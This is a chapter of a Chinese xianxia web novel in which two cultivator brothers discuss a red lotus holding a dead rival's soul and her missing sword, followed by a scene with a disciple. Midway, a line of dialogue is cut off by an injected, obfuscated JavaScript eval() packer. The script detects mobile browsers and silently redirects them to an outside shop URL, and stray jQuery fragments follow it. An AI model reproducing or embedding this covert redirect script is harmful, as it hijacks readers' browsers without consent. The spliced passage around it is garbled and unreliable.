24. 世镜

作品:《和兄长拿到宿敌剧本后

    黄昏前后,两道白光一前一后掠过天际,橘红色的云朵被惊的破碎,刮开了火烧一样的天空。


    云雾像揉碎的棉絮裹着蓬莱仙山,漫过青灰色的山岩时,染出淡粉的光晕,四面环水,仙雾缭绕。


    蓬莱山像美人露出水面的头颅,无数亭台楼阁像簪子,插在她发髻中。


    山间没有寻常草木,生着半透明的“月枝”,枝桠间悬着莹白的光点,风一吹,就像星星落下来,在雾里飘出细碎的银痕。


    山脚下的溪流是碧绿色的,水面浮着层层叠叠的“云荷”,花瓣薄得能看见底下流动的水光,凑近时还会有淡紫色的雾霭从花心里飘出来。


    檐角挂着的铃铛不响,却会随云雾流动洒下金红色的光屑。


    月枝殿,江易进门第一眼就看到兄长盯着他殿里那口不知道什么时候放进去的深黑莲缸,血红色莲花苞矗立在水中央,灵气逼人,栩栩如生。


    连空气里都飘着莲花清甜的气息,吸进肺里竟让喉咙发轻,把旁边江厉都衬得像浸在融化的糖水里。


    “怎么回来了?”江厉盯着花骨朵出神。


    江易像是根本没看到突兀出现的莲花,冷着一张脸:“听说她把姜华和看守弟子都打成了重伤?”


    江厉应了一声,才腾出功夫看他一眼。


    瞥见他衣角上黑乎乎的一块,奇问:“还有人能近的了你的身?”


    男人低头看了一眼,皱起眉,后退一步,衣裳顿时干净如初:“遇到了个麻烦家伙。”


    “麻烦?”


    “你还记得张拭吗?”江厉冷不丁和他提起这个陈旧的名字。


    “小时候跟在梅世镜后面,你怎么赶都赶不走,非要拜梅世镜为师,你还说他狗皮膏药那个。”


    “不认识。”江厉笑了笑。


    江易不知该说什么好,反正如他所料,对方早就忘的一干二净了。


    “那时候想拜世镜为师的人多的能从北排到南,谁能记得清?”


    “重点不在这儿,”江易指尖轻敲莲花缸,用的力度听上去想敲裂他的脑袋:“他手里有梅世镜的’梅无双‘。”


    江厉这才正色:“你没看错?”


    “没错,她的佩剑是你当年亲手打的,我不会认错。”江易平静的点点头,明显能感觉到兄长熊熊燃起的希望,他却毫不留情的将其浇灭:“张拭生前应该用过那把剑,我到那里的时候他已经死了,’梅无双‘也不知所踪。”


    见江厉肉眼可见的失望起来,江易忍不住教训他:“哪有你这样都娶妻生子了,还每天把喜怒哀乐都挂脸上的?”


    江厉回给他一个苦脸:“所以这就是说的麻烦家伙?”


    “……那倒不是。”


    江易斟酌了一下,道:“见到一个很有意思的小孩,天资聪颖,是个可塑之才。”


    顿了顿,又说:“就是那双眼睛,不像平常孩子能有的,邪气太重。”


    “平常孩子难有天资卓越能被你看中的,天才都有独特的地方,一个孩子而已……”江厉看也不看她一眼,不知道在和谁说话:“真的觉得好,何不直接收了当徒弟?”


    “我说了,这辈子除了江墨,我不会再收第二个徒弟。”


    “可以破例。”


    “那你也可以破例。”江易眉眼一横:“你是蓬莱掌门,又是三尊之首,总不能没有关门弟子来继承衣钵,你又为什么不收徒?”


    他终于转过头,眼下一片猩红,倒是叫江易有些心惊,但很快他他又垂眸笑起来:“我连丈夫和父亲都做不好,更遑论做师父。”


    “这不一样……”


    “你说对吧?”江厉打断弟弟的话,连忙又看向红莲,好像生怕她一个没看住,花苞就枯萎了,贴心的询问,“世镜。”


    这个名字一出,江易整个人紧绷起来,却感到自家兄长有种破罐子破摔的疯狂感。他最担心的事情终究是发生了,多亏是江墨传讯中提到了这一株血莲花,他才及时赶回来,所幸江厉没有像几个月前梅世镜刚死那样……


    “你说世镜的魂魄怎么忽然之间回来了一部分?”


    江厉又转过脸问他:“她的佩剑也突然现世,会不会……”


    “她已经死了。”


    “我……”


    “你杀了她,你忘了吗?”江易说。


    兄弟两人这些时日苦心经营起来的平和终于被打破,气氛一下子变得诡异起来,江易没想到有朝一日,他能主动和兄长聊起关于梅世镜的死。


    但江厉只是当做什么都没发生:“你说话真难听。”


    “……”


    江易不再和他纠缠:“比起那个,你还是先想想梅云惊,我看他拿下梅花教指日可待,我们最好早做准备。”


    “云惊承袭了她的衣钵,世镜会很欣慰吧。”


    “是吗,可我听说他们私下并不以母子相称。”江易看着兄长那副无所谓的模样,连争辩的心思都弱了。


    多少年了?


    他们兄弟相互扶持多少年了。他们兄弟修仙修了一辈子,他有时候都会怀疑,自己兄长其实某一刻已经飞升了,现在眼前站着的,只是个披着江厉皮囊的大妖怪。


    现在这个大妖怪和他装疯卖傻,弄的他没办法。


    “你们父子上千年没见了,我劝你别太乐观,他可不是枫儿,虽然也是你的骨血,可你别忘了他是妖,他姓梅,不姓江,也不是你养大的……”


    “但他是世镜养大的!”江厉突然吼了一声,江易便不再多说。


    说罢,又偏过头看着红莲,底气不足甚至有些小心翼翼:“他在霜山出生,六月,漫天梨花一夜盛开,他那么像世镜,他始终是我们的儿子。”


    云惊,白梨花聚散如云,落下时如同云惊雾散,跟本就不是祥瑞的征兆。


    何况,他却是像极了梅世镜。


    不单单是那双紫色眼睛,一头乌黑头发,更是他的身份。他和她母亲一样,是彻头彻尾的妖。


    “不是霜山。”江易摇摇头,也走到花缸旁边,对他强调:“是蓬莱。”


    “……”


    为了缓和尴尬,江易还是又将矛头转向了水缸里那个东西,灵力朝里面探了探。


    “还是老样子?”


    “还是老样子,魂魄都碎成那样,怎样都收不回来。”江厉点点头,伸手用手背轻轻擦掉花苞上的水珠,“她是彻底厌烦了……蓬莱山,厌烦了我,这世间已经没有她在意的东西了,她的魂魄怎会愿意回来。”


    “她生前那脾气,就算回来了估计也是为了她儿子抽你。”


    “云惊也是我的骨肉。”


    你看他还认你这个爹吗?


    当然,这句话他没敢说出口。江易不知道他大哥是真傻还是装傻麻痹自己。


    他只好换了个方向:“你们父子几百年没见了,你有没有主意,今后蓬莱和乌蒙之间到底该怎么办?”


    你和你儿子之间,又该怎么办?


    江厉只回了他四个字:“休养生息。”


    “恐怕梅云惊不这么想。”


    “云惊和他母亲一样,脾气很好的。”


    “……不敢苟同。”


    “真的很好!云惊是世镜身边长大的孩子,一定不会差。”


    又来了。


    江易不想和他争论这些没用的话题。


    “也许吧,梅世镜那脾气倒是和我今日见到那个孩子有异曲同工之处,尤其是……”江易不愿再聊一个死人,冷着脸转移话题:“都喜欢用


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926620|192747||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    眼睛瞪人。”


    “第二次提了,看来是真的很合你眼缘。”


    江易还想再多说一句,但江厉又开始和这株红莲旁若无人的聊起来天了,他也只能暗暗叹气,退出月枝殿。


    只要蓬莱安好,江厉不做出格的事,剩下的小事都有他来顶着。


    江易脸色冷峻,修仙者可以去感受爱恨嗔痴,却绝不能自寻死路,时间会抚平一切创伤,不过他兄长作为这世间最强之人,需要的时间可能更多而已。


    一切都会过去的。


    除非……


    红莲绽放的样子她虽然没有亲眼见到,但脑海里却能想象出一朵承载着赤尊魂魄的盛放之花,狂放、沉重、嚣张,正如她生前那样美艳又粗鄙。


    生前名,死后事,劫后生,状下死。


    江易默默摇头,御剑赶回了云荷殿。


    殿内,蹲坐着看书的少年见他回来,规规矩矩的站起来行礼:“尊上。”


    他应了一声,“怎么了?”


    “……”


    “你要说就说,不说就走。”


    “……梨奴剑被我弄丢了。”


    江易捡起他刚才看的书,随手翻了翻,耳边传来江墨毫无起伏的声音,紧接着少年利索的跪下了:“我不知道发生了什么,我平日都随身带着它,可今天突然就消失了……”


    “在我这里。”江易说。


    少年一顿,下一刻,梨花剑就重新出现在眼前,他急忙抓住,上下安抚着,失而复得不禁长舒一口气。


    站起身,这才想起来问:“剑怎么会在您那里?”


    “它自己跑来的。”


    “……不可能。”江墨握剑的手更用力的,捏得指尖泛白,“主人死后,剑灵也会跟着消失,是没有自由意志的。”


    “嗯。”江易不置可否。


    “那这是……”


    “我也不知道,大概是‘梨奴’感应到了‘无双’的复苏,回光返照有了反应。”江易瞧着那把梨奴剑。


    它现在又变成死气沉沉的模样了。


    江墨把剑背在身后,又不放心的扯了扯,确定它不会轻易掉下来:“赤尊的无双剑?”


    江易说:“在一个小门派云集的地方现世,梅世镜死前在那里设有结界,不仅仅是无双剑,还有并蒂莲花的灵气流通。”


    “并蒂莲花?”江墨正色,“不是说那株神花早就被梅世镜吞吃了吗?”


    “传闻而已,谁知道那女人怎么想的。”


    江墨顿了顿:“您的意思是,梅世镜死前把并蒂莲花藏在结界里,可她为什么这么做?”


    为什么不吃了那朵蕴含滔天灵力的神花?


    若真如此,怎么可能会输给江厉?


    梅世镜总不会自大到这么夸张的地步,觉得萧尊一定会输,所以不屑于吃那朵花吧?


    显然这也是江易想不明白的问题。


    江墨猜测:“赤尊从出生起就一直守着并蒂莲花,对那朵花的了解不亚于自己的骨肉,或许她知道些我们不知道的也说不准。”


    “我进书格一趟。”江易说:“并蒂莲花是神脉上开出的预言花,非同小可,不能放任不管。”


    江墨会意:“我这就赶回去,去找无双剑和莲花的踪迹。”


    “和你师兄师姐一起,无双剑的威力不是你们能想象的。”似乎是想起来什么不好的回忆,江易皱起眉头:“它毕竟是梅世镜的佩剑。”


    “您多虑了。”


    江墨定定看着他,指了指自己背上两把剑。


    梨奴剑相较于江墨自己的佩剑黯淡无光,但仍然不妨碍它外观清雅,像个恬静的小姑娘,趴在少年的脊梁上,沉静安睡。


    “有它在,无双剑会让步的。”